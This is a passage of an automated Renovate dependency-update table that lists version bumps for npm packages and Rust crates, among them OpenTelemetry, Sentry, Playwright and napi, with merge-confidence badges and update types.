| [@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-nestjs-core#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.42.0` -> `^0.43.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0/0.43.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-nestjs-core/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0/0.43.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/instrumentation-socket.io#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.44.0` -> `^0.45.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0/0.45.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-socket.io/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.55.0` -> `^0.56.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.55.0/0.56.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.55.0/0.56.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.28.0` -> `1.29.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.28.0/1.29.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.28.0/1.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.49.0` -> `=1.49.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.0/1.49.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.49.0/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.49.0/1.49.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@sentry/electron](https://redirect.github.com/getsentry/sentry-electron) | [`5.7.0` -> `5.8.0`](https://renovatebot.com/diffs/npm/@sentry%2felectron/5.7.0/5.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2felectron/5.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2felectron/5.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2felectron/5.7.0/5.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2felectron/5.7.0/5.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/esbuild-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/esbuild-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.6` -> `2.22.7`](https://renovatebot.com/diffs/npm/@sentry%2fesbuild-plugin/2.22.6/2.22.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fesbuild-plugin/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fesbuild-plugin/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fesbuild-plugin/2.22.6/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fesbuild-plugin/2.22.6/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.42.0` -> `8.44.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.42.0/8.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.42.0/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.42.0/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.42.0` -> `8.44.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.42.0/8.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.42.0/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.42.0/8.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@sentry/webpack-plugin](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins/tree/main/packages/webpack-plugin) ([source](https://redirect.github.com/getsentry/sentry-javascript-bundler-plugins)) | [`2.22.6` -> `2.22.7`](https://renovatebot.com/diffs/npm/@sentry%2fwebpack-plugin/2.22.6/2.22.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2fwebpack-plugin/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2fwebpack-plugin/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2fwebpack-plugin/2.22.6/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2fwebpack-plugin/2.22.6/2.22.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@slack/web-api](https://slack.dev/node-slack-sdk/web-api) ([source](https://redirect.github.com/slackapi/node-slack-sdk)) | [`7.7.0` -> `7.8.0`](https://renovatebot.com/diffs/npm/@slack%2fweb-api/7.7.0/7.8.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@slack%2fweb-api/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@slack%2fweb-api/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@slack%2fweb-api/7.7.0/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@slack%2fweb-api/7.7.0/7.8.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@types/bytes](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/bytes) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/bytes)) | [`3.1.4` -> `3.1.5`](https://renovatebot.com/diffs/npm/@types%2fbytes/3.1.4/3.1.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fbytes/3.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fbytes/3.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fbytes/3.1.4/3.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fbytes/3.1.4/3.1.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/node](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | [`20.17.9` -> `20.17.10`](https://renovatebot.com/diffs/npm/@types%2fnode/20.17.9/20.17.10) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2fnode/20.17.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2fnode/20.17.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2fnode/20.17.9/20.17.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2fnode/20.17.9/20.17.10?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/react](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react)) | [`19.0.0` -> `19.0.1`](https://renovatebot.com/diffs/npm/@types%2freact/19.0.0/19.0.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact/19.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact/19.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact/19.0.0/19.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact/19.0.0/19.0.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@types/react-dom](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/react-dom) ([source](https://redirect.github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react-dom)) | [`19.0.0` -> `19.0.2`](https://renovatebot.com/diffs/npm/@types%2freact-dom/19.0.0/19.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@types%2freact-dom/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@types%2freact-dom/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@types%2freact-dom/19.0.0/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@types%2freact-dom/19.0.0/19.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [anyhow](https://redirect.github.com/dtolnay/anyhow) | `1.0.93` -> `1.0.94` | [![age](https://developer.mend.io/api/mc/badges/age/crate/anyhow/1.0.94?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/anyhow/1.0.94?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/anyhow/1.0.93/1.0.94?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/anyhow/1.0.93/1.0.94?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [c8](https://redirect.github.com/bcoe/c8) | [`10.1.2` -> `10.1.3`](https://renovatebot.com/diffs/npm/c8/10.1.2/10.1.3) | [![age](https://developer.mend.io/api/mc/badges/age/npm/c8/10.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/c8/10.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/c8/10.1.2/10.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/c8/10.1.2/10.1.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [chrono](https://redirect.github.com/chronotope/chrono) | `0.4.38` -> `0.4.39` | [![age](https://developer.mend.io/api/mc/badges/age/crate/chrono/0.4.39?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/chrono/0.4.39?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/chrono/0.4.38/0.4.39?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/chrono/0.4.38/0.4.39?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [debug](https://redirect.github.com/debug-js/debug) | [`4.3.7` -> `4.4.0`](https://renovatebot.com/diffs/npm/debug/4.3.7/4.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/debug/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/debug/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/debug/4.3.7/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/debug/4.3.7/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.6` -> `16.4.7`](https://renovatebot.com/diffs/npm/dotenv/16.4.6/16.4.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/dotenv/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/dotenv/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/dotenv/16.4.6/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dotenv/16.4.6/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv) | [`16.4.6` -> `16.4.7`](https://renovatebot.com/diffs/npm/dotenv/16.4.6/16.4.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/dotenv/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/dotenv/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/dotenv/16.4.6/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dotenv/16.4.6/16.4.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [electron-log](https://redirect.github.com/megahertz/electron-log) | [`5.2.3` -> `5.2.4`](https://renovatebot.com/diffs/npm/electron-log/5.2.3/5.2.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/electron-log/5.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/electron-log/5.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/electron-log/5.2.3/5.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/electron-log/5.2.3/5.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [foxact](https://foxact.skk.moe) ([source](https://redirect.github.com/SukkaW/foxact)) | [`0.2.42` -> `0.2.43`](https://renovatebot.com/diffs/npm/foxact/0.2.42/0.2.43) | [![age](https://developer.mend.io/api/mc/badges/age/npm/foxact/0.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/foxact/0.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/foxact/0.2.42/0.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/foxact/0.2.42/0.2.43?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [i18next](https://www.i18next.com) ([source](https://redirect.github.com/i18next/i18next)) | [`24.0.3` -> `24.1.0`](https://renovatebot.com/diffs/npm/i18next/24.0.3/24.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/i18next/24.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/i18next/24.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/i18next/24.0.3/24.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/i18next/24.0.3/24.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [jotai-effect](https://redirect.github.com/jotaijs/jotai-effect) | [`1.0.4` -> `1.0.5`](https://renovatebot.com/diffs/npm/jotai-effect/1.0.4/1.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/jotai-effect/1.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/jotai-effect/1.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/jotai-effect/1.0.4/1.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/jotai-effect/1.0.4/1.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [keyv](https://redirect.github.com/jaredwray/keyv) | [`5.2.1` -> `5.2.2`](https://renovatebot.com/diffs/npm/keyv/5.2.1/5.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/keyv/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/keyv/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/keyv/5.2.1/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/keyv/5.2.1/5.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lib0](https://redirect.github.com/dmonad/lib0) | [`0.2.98` -> `0.2.99`](https://renovatebot.com/diffs/npm/lib0/0.2.98/0.2.99) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lib0/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lib0/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lib0/0.2.98/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lib0/0.2.98/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lib0](https://redirect.github.com/dmonad/lib0) | [`0.2.98` -> `0.2.99`](https://renovatebot.com/diffs/npm/lib0/0.2.98/0.2.99) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lib0/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lib0/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lib0/0.2.98/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lib0/0.2.98/0.2.99?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [lint-staged](https://redirect.github.com/lint-staged/lint-staged) | [`15.2.10` -> `15.2.11`](https://renovatebot.com/diffs/npm/lint-staged/15.2.10/15.2.11) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lint-staged/15.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lint-staged/15.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lint-staged/15.2.10/15.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lint-staged/15.2.10/15.2.11?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.462.0` -> `^0.468.0`](https://renovatebot.com/diffs/npm/lucide-react/0.462.0/0.468.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.468.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.468.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.462.0/0.468.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.462.0/0.468.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [msw](https://mswjs.io) ([source](https://redirect.github.com/mswjs/msw)) | [`2.6.6` -> `2.6.8`](https://renovatebot.com/diffs/npm/msw/2.6.6/2.6.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/msw/2.6.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/msw/2.6.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/msw/2.6.6/2.6.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/msw/2.6.6/2.6.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.21` -> `3.0.0-alpha.23` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi/3.0.0-alpha.21/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi/3.0.0-alpha.21/3.0.0-alpha.23?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs) | `3.0.0-alpha.20` -> `3.0.0-alpha.21` | [![age](https://developer.mend.io/api/mc/badges/age/crate/napi-derive/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/napi-derive/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/napi-derive/3.0.0-alpha.20/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/napi-derive/3.0.0-alpha.20/3.0.0-alpha.21?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
